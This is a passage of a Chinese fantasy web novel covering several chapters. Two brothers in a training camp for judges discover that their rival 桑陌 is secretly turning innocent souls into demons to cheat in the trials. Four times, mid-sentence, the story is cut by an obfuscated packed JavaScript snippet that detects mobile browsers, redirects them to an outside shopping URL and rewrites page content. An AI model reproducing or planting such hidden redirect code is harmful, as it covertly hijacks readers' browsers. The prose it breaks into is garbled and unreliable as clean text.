只是他倒没想到,这个桑陌居然连他这个常常大门不出,在别人口中压根没什么声量的的人,底细都给摸清了。 他蹙着眉下意识朝揽星道:“以后需得多加小心。” 揽星一愣,微笑道:“哥哥,你在关心我吗?” 这回愣的是衔月了,他咳嗽一声,立即留下一句:“顺嘴而已,说什么关心!” 拂袖便走。 揽星立即跟上,仗着厚脸皮不走开反而跟的越来越近。 在交织的嫌弃赶人声和耍赖声中,二人并肩的身影渐渐远去了。 ...... 很快,擢选集合大会开始,一向极少在人前露面的地君久违地现身面向众人讲述了关于判官擢选的一切细节和流程,随后,便由各位宫使带领各位候选者前往寝房处安排住宿。 训练营的寝房是两人一间。揽星认为,此番正好,他和哥哥可以住在一起互相照应,然而衔月却当场向宫使提出异见,认为兄弟二人既然同进入擢选,就是各自独立的个体,是竞争者,不存在相互照应之说。 分寝宫使深以为然,当时就同意了衔月的说法。 所以在衔月推开寝房门的时候,看到的迎接他的同屋,并不是揽星,而是...... 桑陌。 两人倏一对视,衔月霎时顿住,经历早上那番,桑陌亦是有些尴尬。但好在两个人一个冷漠,一个圆滑,都自然而然地没提那档子事,无视对方继续收拾自己的东西了。 训练的日子就这样开始了。所有的训练者都进入了十分规律的训练流程,除了基本的休息和用餐时间,所有受训者,每日需将剩余时间以及全部身心投入到灵典心法,灵息修炼、体质训练、模拟伏魔等各类严苛的课业中。不出一月,面对这样严苛且枯燥的训练,已有多人放弃。 三月过后,训练营的第一次文试和武试。 衔月一鸣惊人,拔得文试头筹,武试稍弱,位列第三,首位和次位分别归属揽星和桑陌。 衔月有些生气,不冲别人只冲他自己这副身体,他理解能力和记忆能力都强,武练的要点和招式往往是最先学会的,可他这幅时常抽风的身体实在拖累他太多,以至于最后能将招式发挥到极致的,却是揽星和桑陌。 他给自己猛灌了一碗极苦但能补身的药,暗道:果然还是要再加练啊...... 忽而,一阵琴音传入耳畔。 他此时正在训练营外不远的一处郊野,此处隐秘又安静,常常作为他夜晚的加练之地又或是熬药之地。 这突兀出现的琴音十分熟悉,他脑海里一瞬间就对上了对方身份。穿梭进树林间缓缓靠近,躲在一处树后暗暗观察,发现桑陌正盘腿坐在一处空地上手指轻拨着琴。 参与擢选的修士们,大多数都是剑修,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478280|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有特别的,比如衔月是阵法和剑双结合,而桑陌所修法器便是这具七弦古琴,别看它外形上不具备剑的锐气,一旦对上阵,每次拨弦造出的影锋,可不比任何剑或阵法差。 衔月并不懂音律,但也能听出每首曲子的不同,桑陌此时弹得这首,他之前并未听桑陌弹过,而且,不知为何在他听来,这首与桑陌平时所弹的曲风差别甚大,琴音悠悠而起,却带着一种难以言喻的诡异之感,似是从幽暗的角落悄然钻出的幽灵之声,丝丝缕缕地缠绕在空气中,让人脊背发凉。 桑陌双目皆阖,弹得十分专注,并未注意有人靠近,衔月瞧他半晌,决定趁他尚未发现,先离开了,他虽无意,但若被对方撞破,被人误会成偷学技能,就不好了。 想到这,他转身离开,身影渐渐隐匿在茂密的树林间了。 半月后,训练营即将进行第一场实演。 所谓实演,不同于日常武试中的精怪妖魔都是做出的幻象,实演则是将一座含有各类大小不同、品阶不同真正精怪妖魔的山野进行单独包围,再由受训者进入进行伏诛抓捕,而最终排名的关键考量因素,便是所抓精怪妖魔的实际品阶。 实演的排名成绩将在最终考核结果占有很大一部分比重,很多人往往能够借着在实演中获得的成绩,一跃超过排名上很多在自己之前的人,是个超车的绝佳机会,故而还未开始,已经有很多人摩拳擦掌在准备了。 考核当日,衔月独身进入实演场。 刚一进去,没等了解清楚情况呢,就先诛了两只主动迎上来攻击的野猪精。 野猪精这种东西,打起来又费劲品阶又低,偏偏数量还大,个人体力有限,衔月可没时间跟它们耗,是以诛杀过后果断躲到了一处安静之地。 没了这种杂怪打扰,衔月终于可以掏出罗盘安心的检视这整个实演场的地形环境,确定方位过后,他果断聚息打出几道术法,登时,在只有他的双眼能看到的视野里,整个实演场被平地掀起的一个光罩严丝合缝的包围住。 他从怀里掏出一只铃铛,露出笑容。 这光罩正是他所研制出的一种新型阵法,可以帮助他自动捕捉出整个实演场内所有存在的妖魔精怪,再通过辨认区分,寻找到品阶最高的,铃铛就会响起提示他。 这山野放眼望去,大大小小的妖魔精怪可太多了,纯靠体力一路上不知道要遇上多少个没用的怪物,每个都打岂不是耗损体力过多?想要取胜当然不能用这种笨法子,用他这种阵法就刚刚好。 等找到品阶最高的那个,他再去打就来得及。 那么现在,就先找个安生的地方养精蓄锐吧。 他收起罗盘,坐在草地上,往背后粗壮的树干一靠,微微阖上双眼,阳光投射下来照在身上暖烘烘的,舒服惬意的紧。 突然,头顶上方传来一阵轻微的簌簌声。 他猛然睁眼,惊愕间一道身影如同飞鸟般从树上一跃而下,正正落于他面前。 87. 星月无双6 揽星朝衔月高举起双手,五指张开,每个指缝间都夹了颗野果,活像个搞杂耍的,笑嘻嘻道:“哥哥,吃果子吗?” 衔月瞧他这幅嬉皮笑脸,没有一点在认真参与考核的样子,胸间一股火气上来,站起来就打掉他手里的果子,道:“吃什么吃!你在干嘛?你知不知道这是在实演考核,会影响成绩!” “哎呦干嘛!”揽星撅着嘴从地上捡起一颗,随意拍两下灰就咬了一口,道:“嘿!真挺甜。”接着道:“我知道在考核啊,但是一会儿再抓也来得及嘛,难道找到这么好吃的果子,先采一些喽,山野特产呢!别的地方都找不到。” 衔月要被他无语住了,反问道:“这个时候,你难道不该抓紧时间去找品阶最高的精怪吗?” 揽星小声嘟囔道:“反正也抓不到了,我急什么?” “你说什么?”衔月迷惑地望过去,见揽星一脸心虚,霎那间心下雪亮,反问道:“难道,你已经发现我设置了用来捕捉那只最高品阶魔怪的阵法?” 揽星磕巴道:“啊,啊,是啊......” “你既已发现,却不选择攻破阵法?”衔月脸上已现怒意道:“你莫非是故意在让着我?!” 他可以心甘情愿地接受自己技不如人拿不到首位,但决不能容忍对方故意将首位让给他,他的首位必须要靠自己真正的实力来拿!这样做对他来说简直就是羞辱! 他越想越气,越气越极,忽而眼神一凛,抬手就要破坏掉自己设立的阵法,把这份宽容礼让尽数抛还于人! 手刚抬起就被吓个半死的揽星抱住整条手臂,他大喊道:“不是啊不是啊哥哥,我没有让着你!” 见衔月动作微滞,他又赶紧接着道:“我真的没有让着你,是我反复尝试过,以我的能力,确实解不了你这个阵法。” 衔月愣住了。 揽星松开他的手臂,两手一摊道:“所以我还不如先给自己找点乐子,等一阵再随便抓个品阶高点的算了!” 衔月审视了半天他的脸色,确认他确实不像是为了哄自己撒谎的样子,情绪这才稍稍稳定下来,后知后觉地开始尴尬了,揽星则嘿嘿一笑,从怀里竟又摸出了个果子,递给衔月道:“呐!这回可以吃了吧哥哥?” 衔月看着那剔透饱满的果子,又看了眼满脸俏皮劲儿的揽星,勉强将那果子收了,轻咬一口又道:“总之,还是不要消极比赛,吃完这个果子立刻就去抓!” “啊——”揽星拉长音,满身晃悠拒绝道:“我还想睡一觉再去呢!” “不行必须去!” “等会吧等会吧!” “不行,你......” 衔月话说了一半,突然没声了。 揽星咬着果子疑惑道:“嗯?咋啦?” 抬眼就发现衔月正越过他盯着他背后,顺着视线望去,有片灌木丛里好似有什么东西正在攒动。二人对视一眼,同时拔出佩剑,试探着缓缓靠近。 已挨得极近之时,突然,一只枯瘦细长的手从灌木丛狠劲袭出,抓住了揽星的剑锋。 衔月瞳孔骤缩,劈剑就斩了过去,枯手反应极快,霎时就松开了,二人后退几步,那东西瞬间已全身都从灌木丛里爬了出来,正是一只长发披散,面色惨白,浑身枯槁的魂魔。 与此同时,衔月的铃铛剧烈地响了起来。 揽星长剑一挥,警惕地看着魂魔道:“哥哥小心!这魂魔除了脸部以外身上皮肤均已趋近黑紫,显然魔性极高!” 衔月这才回过神,望向那魂魔,只见她双眼空洞幽深没有黑眼仁,嘴唇也呈现一种诡异的黑紫色,微微开合时,吐出令人胆寒的毒气,瘦骨嶙峋看着一阵悚然,说是从幽冥地牢间爬出来的怨灵也不为过。 她微微有所动作,二人立即戒备,只是,下一瞬,她就做出了个让人惊讶的动作。 她竟然直接跪在了他们面前,没有选择任何的攻击。 不止如此,她甚至还双手触地朝他们狠狠磕起头来,动作之用力,连地面都轻轻摇撼起来。 看着她已流出两行血泪的脸,揽星忍不住问道:“她这是......在向我们投降求饶?” 衔月不明,按常理来说她这个品阶的魂魔了,其实真的和他们二人打起来,倒也不一定会输,可如今一点未打就先求饶,这路数却让人真真搞不懂了。 听到揽星的话,那魂魔突然又开始啊啊大叫起来,准确来说,不算是大叫,更像是一个口齿不清的人在努力说话的样子,衔月驻目过去,忽然瞪大双眼。 那只魂魔的舌头竟然被人拔去了! 似是自身遭受的苦难终于被人发现,那魂魔瞬间情绪更为波动起来,她疯狂地舞动着双臂,嘴里呃呃叫地不停,好像正在诉说自己遭受了多么非人的对待,发丝沾着血泪糊了满脸,狼狈不堪。 揽星忍不住动容安抚她道:“你先冷静不要急,也不要喊,我们现在听不懂你在说什么,等我们想想,看看能否与你通灵,了解清楚你的情况,我们就帮你好吗?” 魂魔听见后果然冷静了一些,也不再张牙舞爪了。揽星刚要和衔月商量一下,怎样合力施展通灵术与她沟通,就在这时,寂静的山谷之中,从远处传来一声短而促的有力琴音。 很快,又是一响,二人视线陡转,那刚刚稳定下来的魂魔,不知为何竟然又突然躁动起来,她一会伸出利爪狠狠地抓挠在自己胸前露出的肌肤处流下道道血痕,一会儿又往死里掐着自己的脖子,同时悲恸嚎哭。 揽星要上前去拦她,被衔月拽住。 那魂魔砰地跪下,只是这次却是朝着远方反复磕头,突然,在二人诧异的眼神中,那魂魔一个跃起窜进了茂密的树林间,瞬间消失的毫无影踪了。 揽星想去追,衔月拽住他,道:“算了,让她走吧。” 揽星急道:“可是你不觉得她怪怪的吗?你看她那个样子,她很可能是遇到了什么危险,或者坏人,需要人的帮助!” 衔月不假思索道:“她本身就是个危险,还需要谁帮助?没准是她诡计多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519223|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端,故意用这种示弱的方式来降低我们的戒备心,再攻击我们也说不准?我们......” “哥哥!”揽星打断道:“你为什么总是把人想的那么坏!你没看到她那个样子吗?怎么可能是要害我们啊!” 衔月表情微滞,眨了下眼道:“我把人想的坏?好啊,是我想的多,你想的对,行了吧!” 揽星语噎道:“我,我不是这个意思。” 衔月冷笑道:“你揽星少爷自小遇到的都是好人,没尝过人间疾苦,没受过白眼暗讽,自然愿意把一切东西都想成好的,像我这种人就不一样了,我心狭量窄,只能想到如此。” 松开拽住揽星的手,衔月道:“你去帮她吧。时间也不早了,我要去抓我的东西了。” 语毕,无视揽星在身后连连的解释之词,自己迅疾闪身了。 离开直奔铃铛响起时报告的方位,不费吹灰之力收了只高品阶的厉鬼,只是,他脸上并无喜悦,反而眉头紧紧蹙起。铃铛指印的方位是阵法所捕捉到的场内最高品阶的魔物,然而,他目前手上这只厉鬼的实际品阶,却照刚刚那只在他和揽星面前来得快逃得也快的魂魔差得远了。 这便说明了一个问题。 要么就是他的阵法出了错,要么就是这魂魔根本不属于这地方。 前者是绝无可能的,那便只有后者,难道说,这魂魔真的是遇到了什么危险,危急之下才会躲到这座山里。而她刚才的反应,还有那声来的突然的琴鸣,就好像是警告一般,让那只魂魔感受到恐惧害怕,从而将其召唤离开。 转念一想,他和揽星没有冒然追上去是对的,对方没有现身而是用这种方法,显然是不想暴露行踪和身份,若真如揽星所说追上去,一旦暴露,恐怕不止那只魂魔,他们二人也会惹上麻烦。 远方一声敲钟长鸣,是实演快到结束时间的提示声响,他看了看手里刚收的厉鬼,决定先去上交然后再将刚刚所遇之事报告宫使去解决。 衔月到终点的时候,已经有很多人都到了,他从队伍后面慢慢排到结算地,交了魔物正要报告宫使,突然身后一阵哗然,他回头望去,在众人艳羡的目光和惊叹声中,桑陌带着他的那群追随者浩浩荡荡地踏步过来,手上一根灵索牵着他猎来的魔物。 后面的人看见他纷纷自觉让了路,桑陌步履不停直接走到了最前排的衔月旁边。 二人对视,桑陌笑道:“抱歉月公子,可以让我先交付一下吗?这东西魔性太强,极不稳定,为防它突然暴动,我想先赶紧交付了让宫使们关起来。” 衔月低头看向那怪物,那怪物似感受到他的视线,同时颤颤巍巍地抬起了头,露出了那张熟悉的满面血污的脸。 衔月神情瞬间凝固,桑陌抓的竟是那只魂魔?! 衔月忍不住开口道:“你......” 那魂魔动作极微小的摇了下头,一瞬露出哀求的眼神,很快又低下头趴在了地上。 这时桑陌笑着道:“怎么了月公子?有什么问题吗?” 88. 星月无双7 衔月收起眸间的诧异,微笑着摇摇头道:“没什么,桑公子请,我刚好结束了。” 行了个拜别礼,他便一派淡然地提袖离开了,只是,走出实演场前,仍是无法忍住不回头再看那魂魔一眼。 只见她被桑陌的灵索狠狠一拽,那眼神里写满了惧怕,却还有一层意义不明的不甘与遗憾。 她所遗憾的到底是什么呢? 衔月摇摇头,背过双手缓步离开了实演场。 很快,晚膳过后,众人便知晓了自己的成绩,桑陌靠着那只,比其他人收来的品阶高的不止一点半点的魂魔成功中了魁首,一跃超过了以往榜首的揽星,衔月则屈居第二,而众人口中的夺魁热门揽星,却据说因为扰乱实演场的考核秩序,不仅成绩被取消,还被关了禁闭。 衔月都不用特意打听,光是用餐时听膳堂后排坐着的受训者们八卦议论,就把来龙去脉给摸个清楚了。 据说是揽星来到结算地的时候,发现了桑陌收来的那只魂魔,也不知道抽什么疯了,突然大声坚称这魂魔抓不得,说她有什么隐情,需得调查清楚了再做裁断,而桑陌公子呢,是个讲理的,好言相劝过后见揽星仍是坚持,最后便道那就让这魂魔自己来说是否有什么隐情,结果连这魂魔自己都说不明白揽星在说什么,反而借着解了束缚的空当发了疯,差点伤了在场的受训修士和宫使们。 即便这样,揽星还是坚持,最后把管事宫使气个够呛,当场取消了他成绩,派人抓走送去禁闭室冷静了。 有人问那魂魔呢?那自然是和其他魔物精怪被一同押解到别的地方了。 衔月咽下最后一口饭,默默地离开了膳堂。 入夜,衔月难得睡下的极早,回屋的桑陌看到躺下的衔月都忍不住意外地挑了下眉。 他好似睡得极深,熄了烛火的寂静夜里,甚至都能听见他熟睡后微弱的呼吸声。 香炉里一炷香被人点燃,流出丝缕轻烟,弥漫开来,悄无声息地钻进熟睡的衔月鼻腔内。良久,一只手忽而从他背后缓缓伸出,犹豫几下落在他手臂上轻轻碰了碰。 没有任何反应。 桑陌收回手,露出一抹别有深意的笑容,走到香炉旁,一道术法施出毁了那香燃烧过的痕迹,转身离开了房间。 房间门咔哒关上后的一瞬间,衔月睁开了双眼。 等了一阵确定人已走远,他才从床上坐了起来,走到香炉旁看着里面的灰烬深深锁起了眉头。 桑陌刚才燃的是一种熄神香,与夜晚屋内常点的只是助于人睡眠的安神香不同,这种香闻到的人会陷入极度的昏迷状态,无论周身有多大的动静,哪怕是起火地震了,都仍是会保持沉睡状态,并且在第二天转醒后会全无所觉。 从魂魔那奇怪的反应,再加上下午山谷内那来得莫名又力道极强的两声琴音,衔月不由得暗忖道,桑陌与她之间定是有什么渊源,而白日他在众人眼皮底下活动,自然是不能有什么偷偷动作,那么便只有晚上可以行动,所以他才会假作早已睡去,让桑陌放下警惕,好放心偷偷出去做自己的事情,只是他没想到桑陌竟如此谨慎,连熄神香都用上了。 然而道高一尺魔高一丈,桑陌也没想到,衔月因为自小研药,平日试药尝毒多了去了,这种小玩意对他早不起任何作用了。 而他如此大费周章,这个时候又会去哪里呢? 忽而,衔月回忆起那日深夜树林中桑陌弹琴的身影,一下有了目标。 他迅疾从房门奔出,趁着宫使们不注意,翻出了训练营。踏入山林直奔目的地,远远地就又听到那阵熟悉的诡异琴音,踏至近处攀上了树,从树影间看到了桑陌,他端坐在后,琴声幽幽,一拨下去,掀起一层气浪,明显是掺了大量的灵息进去。 桑陌前面不远处的空地上似乎还有个东西,细看,竟是一个襁褓婴儿?! 桑陌拨琴送出的力量都被打入了这婴儿体内,显然,这婴儿也不是普通的婴儿,竟然丝毫不哭,衔月看着,他更像是一个鬼胎,而且,那灵息的颜色也有点不对劲,衔月眯起眼睛驻目望去,瞬间大惊失色,这哪是灵息,这不是魔息吗? 诡异的琴声不绝于耳,一瞬思考,衔月霎那间心下雪亮,明白了桑陌在干什么。 他在炼魔。 寻常魔物通常都是出于自己的怨念自行选择入魔,但也有些心术不正的人会以一些非人道的手段强行操作,将原本正常纯净的魂魄,炼成凶恶的魔来毁天灭地。 但这毁天灭地级别的魔也不是谁说炼就能炼成的,桑陌并不算是天赋高的修士,他能有今天的成绩,确实大部分靠的都是勤奋,而他这样的能力,炼制出的魔是绝对做不到毁天灭地的,据他猜测,桑陌只是想通过炼制这种比寻常精怪品阶高出几许的魔物,再暗暗投入到平日里的实演考核里,假作自行捕捉,这样就可以拿到好成绩,也就能助推他登上判官之位了。 而白日那只魂魔,或许也是他炼制的魔物之一。 突然,一个尖锐的错音突兀地蹦了出来,琴音瞬停,桑陌看着似乎有些吃力,冷汗涔涔,一挥收琴,走到那鬼胎面前,不顾其是否舒服姿势随意地拿起,喃喃道:“那个死女人,心眼子还真是不少,被抓走自身都难保了,还不忘摆我一道,竟然在你身上下了什么鬼禁制,反正也炼不成了,不如我现在就杀了你。” 他此时的脸上找不见一丝平日所见的温和纯善,只见满面的阴鸷狠厉。 他另一只手朝鬼胎伸出,衔月正要动手,忽而从一旁的树丛间猛然窜出一道迅疾身影,将桑陌扑倒在地。 鬼胎受力撞击,脱手而出,滚进了旁边的树丛里。 白日那女魂魔长发披散,整个人呲牙裂嘴地欺身压在桑陌身上,伸出的嶙峋骨手被桑陌抓住勉强制衡,距离之近,骨手上的黑色长甲几乎要戳到桑陌眼睛里。 他看着那女魂魔艰难地开口道:“你......竟然逃出来了?” 魂魔眸间怒火迸发难抑,连连咆哮了一阵,桑陌却毫不在意,他好似可以听懂她在说什么,笑着道:“那怎么了?你不是也偷偷给你这鬼胎下了禁制吗?既然如此,我也没必要遵守我对你的约定!” 魂魔已几进崩溃,愤怒的情绪让她的魔息四处流散,无法自控。 突然,桑陌展颜得逞一笑,趁她癫狂之时,颈间吊坠猛烈射出一道强烈术法,狠狠击穿在魂魔的额心。 额心就是这魂魔的命门! 那魂魔受此强烈一击登时失了所有力气,趴倒在桑陌身上,被他一脚蹬开,桑陌站起身,拍拍身上的土,嫌恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546193|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地又蹬了几脚在她身上,啐骂道:“不自量力的家伙,我现在就杀了你!送你去交差,还能得个奖赏。” 他蹲下身,恶狠狠道:“等我回来,再把你那儿子也给挫骨扬灰,以解我心头之恨!” 魂魔匍匐在地上,浑身颤栗,獠牙紧咬低吼出声,双眼被不甘怨恨填满,却无能为力。 “往左边跑!快点!”突然一人吼声传出。 “什么人?!”桑陌猛然回头。 “跑!”吼声再度传来,声音来自同一方向却是不同声色,正是衔月躲在暗处施了变声咒暗自提醒。 与此同时,一道攻击术法袭面而来,桑陌迅疾挥臂抵挡,猛然间忽而意识到什么,立刻转身寻那魂魔身影,刚好看到那魂魔窜进旁边树丛,他立即追去,扒开树丛却全无她踪影。 她此时的身体怎么可能跑这么快? 桑陌皱起眉头,莫非是移动阵法? 树林间早已寂静无声,转身,他走到那提醒声的出处周围,四处寻觅,忽而脚下踩到了什么,拾起端详。 弯月形的玉佩在他手间折射出一道光。 另一边树林间,衔月背着那魂魔狂奔游走,直跑到一处河边才停下,也是因为那魂魔的身体撑不住了。 他刚将那魂魔放倒在地上,准备给她输送点灵息过去,就被她攥住了手腕。 魂魔冲他摇了摇头。 意味明确,已经没必要了。 她呃呃一阵好像有什么要说,衔月犹豫一瞬,顾不得通灵术在单人施展的情况下可能会造成灵息紊乱,还是选择了连接,魂魔的声音在他脑海间响起,与她丑恶的外貌不同,竟是一个十分温柔的声音。 她喃喃道:“公子......救,救我的,孩子。” 闻言,衔月立即从腰间取下锁灵囊,变换出他刚刚早已趁机抱走藏好的那鬼胎递过去。 魂魔瞬间泪奔,亲呢地抱着孩子贴了下脸,颤颤巍巍地从怀里取出一物递给衔月道:“公子,谢谢你和揽星公子救我们。” 衔月望过去,那是揽星的通行玉令,想来是傍晚在结算地揽星趁乱塞给他的,正是因为有此物,她才能成功的逃出来。 她向他喃喃诉说了许多,衔月也终于才明白事情全部,桑陌作恶多端,将本是正常魂魄的她炼成魂魔,只为了投入实演场为自己取得好成绩,万没想到她竟还产下了一个鬼胎,而长久以来,也正是因为这鬼胎,她受桑陌百般威胁,更是在实演场以她赴死后定会护好她的孩子作为承诺,逼迫逃走的她主动被擒。 只是桑陌这个狼心狗肺的自然是哄骗于她的,炼了她还不够,还要坑害她的孩子堕魔,但却也没想到被她提前给孩子下的禁制摆了一道。 魂魔涕泪横流道:“公子......拜托你一定保护好我的孩子,还有,小心桑陌。” 语毕,她最后留恋地看了眼孩子,就彻底消散于天地之间。 衔月望着最后被塞到自己手里的孩子,心间掀起千层荡。 陷入熟睡的婴儿全然不知自己经历了什么,更不知那个给予他生命、给他无尽关爱的人已经永远地离开了。 他心情沉重地将那鬼胎藏匿于自己的锁灵囊,朝着女子消失的地方反复行了几礼,随即快速奔回了训练营。 89. 星月无双8 揽星顶着蓬头垢面从禁闭室一出来,就看到了等在外面的衔月,倦色当即褪下了一大半。 他奔过去,笑着招呼道:“哥哥你居然来接我诶。” 衔月没应他这话茬,转而道:“还笑?禁闭关得很开心是吧?不如下次闹得再大点?” 揽星连连摆手,显然在禁闭室没少吃苦头,吐了下舌头道:“不了不了,下次不闹了,就是......” 衔月抬眸。 揽星道:“就是不知道那个魂魔怎么样了。” 衔月噤声,塞到他手里一样东西,揽星一瞧,惊奇道:“我的玉令怎么在你这?莫非......你和那个魂魔已经见过了?她现在怎么样了?” 那日魂魔消散的模样一瞬间又绕回在衔月心间,复杂的心绪也随之而来,他本想开口向揽星道出真相,转念却忽而意识到,以揽星的性子,若知晓事实,必定会再度大闹一场。 如今魂魔已故,无人可为他们作证,贸然去指认一向声誉良好的桑陌,恐怕不仅不会获得他人信任,反而容易再度被人认为是在闹事,事情不成,同时又正面杠上了桑陌。 桑陌这个人又阴险毒辣,擅施暗箭害人,难以预料,如此看来,指认实非明智之举,眼下,更为要紧的还是拿下判官之位,这样才好日后制衡桑陌。 想到此处,他心下一横,面上淡然道:“啊,是啊,见过了,她已经逃走了,这个玉令就是她托我交给你的,之后......也没再听说关于她的什么消息,应该是已经安全了吧。” 揽星当即长出一口气,笑着道:“那可就太好了。不过,就是不知道她的仇家到底是谁?你说,会不会就是我们训练营里的某个人?” 衔月脑海间不由自主地浮现出桑陌的脸,暗暗攥紧了拳头,揽星见他表情不对,出声道:“哥哥?” 衔月回过神,正待回应,忽而看到远处的廊柱后面,现出了那张刚刚还出现在他脑海间的脸。 桑陌好整以暇地看着他,手里拿起了一样事物,向他示意。 正是他自那日过后,始终遍寻不见的自己的随身玉佩。 那日他深夜潜回房间躺下不久,就听见了桑陌进门的声音。只是他进门过后似乎很久都没有动作,衔月虽心中起疑,但怕桑陌发现自己假睡,也不能回头,过了好一阵听到了桑陌躺下的声音,才彻底放下心沉睡过去。 而第二日他就发现玉佩不见了,遍寻周边也不见踪影,恍然惊觉,怕不是落在了那日的丛林间,如果只是单纯的遗落倒还好,但若是被桑陌发现,可就麻烦了...... 为了确认,他反复去丛林间反复寻找了几遭,最终也没寻到,但瞧桑陌近日神色如常,也不像是知道了的样子,故而他也就没去细究。 然而今日,桑陌却特意拿着物件作出此般姿态。 他心中隐隐升起不好的预感。 桑陌没有任何言语,只是略有深意地看了他一眼,默然转身离开,揽星毫无所觉他二人视线交流,这时也拉过他道:“快走吧哥哥!我可不想在这鬼地方再待下去了,咱们去弄点吃的去吧!” 衔月将胳膊抽出道:“算了,你自己去吧,我累了,我要先回去休息。” 语毕也不等揽星答话就急切离开了。 揽星瞧着他离开的背影,想阻挠的手半抬不抬,喃喃道:“可是,你走的方向不对诶......” ...... 衔月追随桑陌离开的方向而去,循着他的灵息直来到了那处他暗自炼魔的地点。 丛林间不见一人,声音也只闻得鸟雀鸣叫。 衔月四周瞧瞧,朝着半空大声喝道:“出来吧,我知道你在。” 话音刚落,一道身影如离弦之箭般自灌木丛中猛然射出,衔月瞳间寒光一闪,桑陌手持长剑直刺向他咽喉而来。 他的身体本能地向后一仰,躲避这致命的一击,因为未带剑出来,只得反挥出一道术法抵抗,力道却也够强,击落了桑陌的手里剑。 桑陌停下动作,并没有去捡,反而看着剑笑了,道:“果然是你。” 衔月一愣,恍然意识到自己刚才所施术法,与那晚营救那魂魔之时施出的是同一种。 桑陌脸色发沉道:“我本以为你和你那弟弟不一样,不是个多管闲事的,想不到,你也和他一样,如此爱给人找麻烦!” “找麻烦?”衔月道:“你可知你在做什么事情?害无辜之魂堕魔,你这是作恶害人!” 桑陌喝道:“那又如何!他们这种劣等魂魄,能够为我所谋大业献身,何不称其为他们的荣光?” “......”衔月目光坚决,望着他道:“这世间人人平等,你又有什么资格来评定一个人是优等劣等?你有此狭隘想法,竟也敢谋取象征公正无私的判官之位?” 桑陌一双眼闪烁着狠厉的光芒,仿佛一条随时准备择人而噬的毒蛇,冷笑道:“我现在就来告诉你我有没有资格。” 衔月下意识后退一步道:“你想如何?” 身后忽而传来呼呼之声,周围丛林树叶却静止不动,衔月霎时意识到并非风声,迅疾转身,腹部正中来者狠劲一拳,他像一只被折断的弓乍然向后仰去。 而桑陌等的就是这时,一步移身上前顺势点住了衔月灵穴,衔月霎时灵息封闭,整个人摔在了地上,吐出一口鲜血。 袭击之人正是常伴桑陌其侧的那位“阿峰”,此人看似也是参与竞争判官之位的受训者之一,但其实乃是桑家特意派进来日常陪伴护卫桑陌的,没记错的话,此人一向以拳脚功夫卓越名声远扬。 衔月如今倒是真真领教到了。 桑陌抱起双臂,凝视他道:“月公子,我一向认为你是聪明人,不会与我作对,如今你这般行为,真是让我太太失望,实不相瞒,我本还想,若是将来我真能登上判官之位,以你的能力或许可成为我的幕僚。” 衔月道:“哦?那我是不是还要谢谢桑公子您的器重了?” 桑陌道:“你不必阴阳怪气,现在你在我手中,我想对你做什么,你都无可奈何。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581647|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >衔月的腹部肌肉剧烈地痉挛着,强撑起精神道:“你莫非还能杀了我不成?” 桑陌道:“我当然不会杀了你,杀了你岂不是给我自己找麻烦吗?” 衔月道:“你这样,就不怕我将你所做之事都尽数公之于众?” 桑陌冷笑一声,化出一样物品扔掷在衔月面前,发出“砰”的一声巨响。 衔月讶然,是桑陌常携在身前的那具七弦古琴,只是这具原本成色完好灵息充沛的琴器,如今竟已变成了一把几乎被截断且斑驳不堪的断琴了。 桑陌道:“你以为这段时间,我都没有找你算账,是在干什么?” 他蹲下身,手拍打在衔月脸上,道:“我所做一切的痕迹,哪怕是这具伴我良久的琴器,都已被我毁掉,你拿什么去告诉别人呢?” 真是够狠绝。 衔月哼声道:“废话这么多,不如直说,你到底想干什么?” “简单。”桑陌森然道:“我要你现在立即主动退出,滚出训练营。” 衔月道:“我若不肯呢?” 桑陌道:“那你就等着瞧,你扰乱我的计划,给我添了这么多麻烦,这代价必须由你来承受!” 他正说着,忽而看向衔月的眼睛里闪过一丝狡黠的光,道:“而且,还有你弟弟。” 衔月本来面无表情的脸忽而流过一丝情绪,被桑陌巧妙地捕捉到,他款款道:“如果没猜错的话,刚才你是怕揽星会被搅进我们之间的争斗中,才会选择隐瞒他,又来一个人寻我的吧。” 衔月沉默不语。 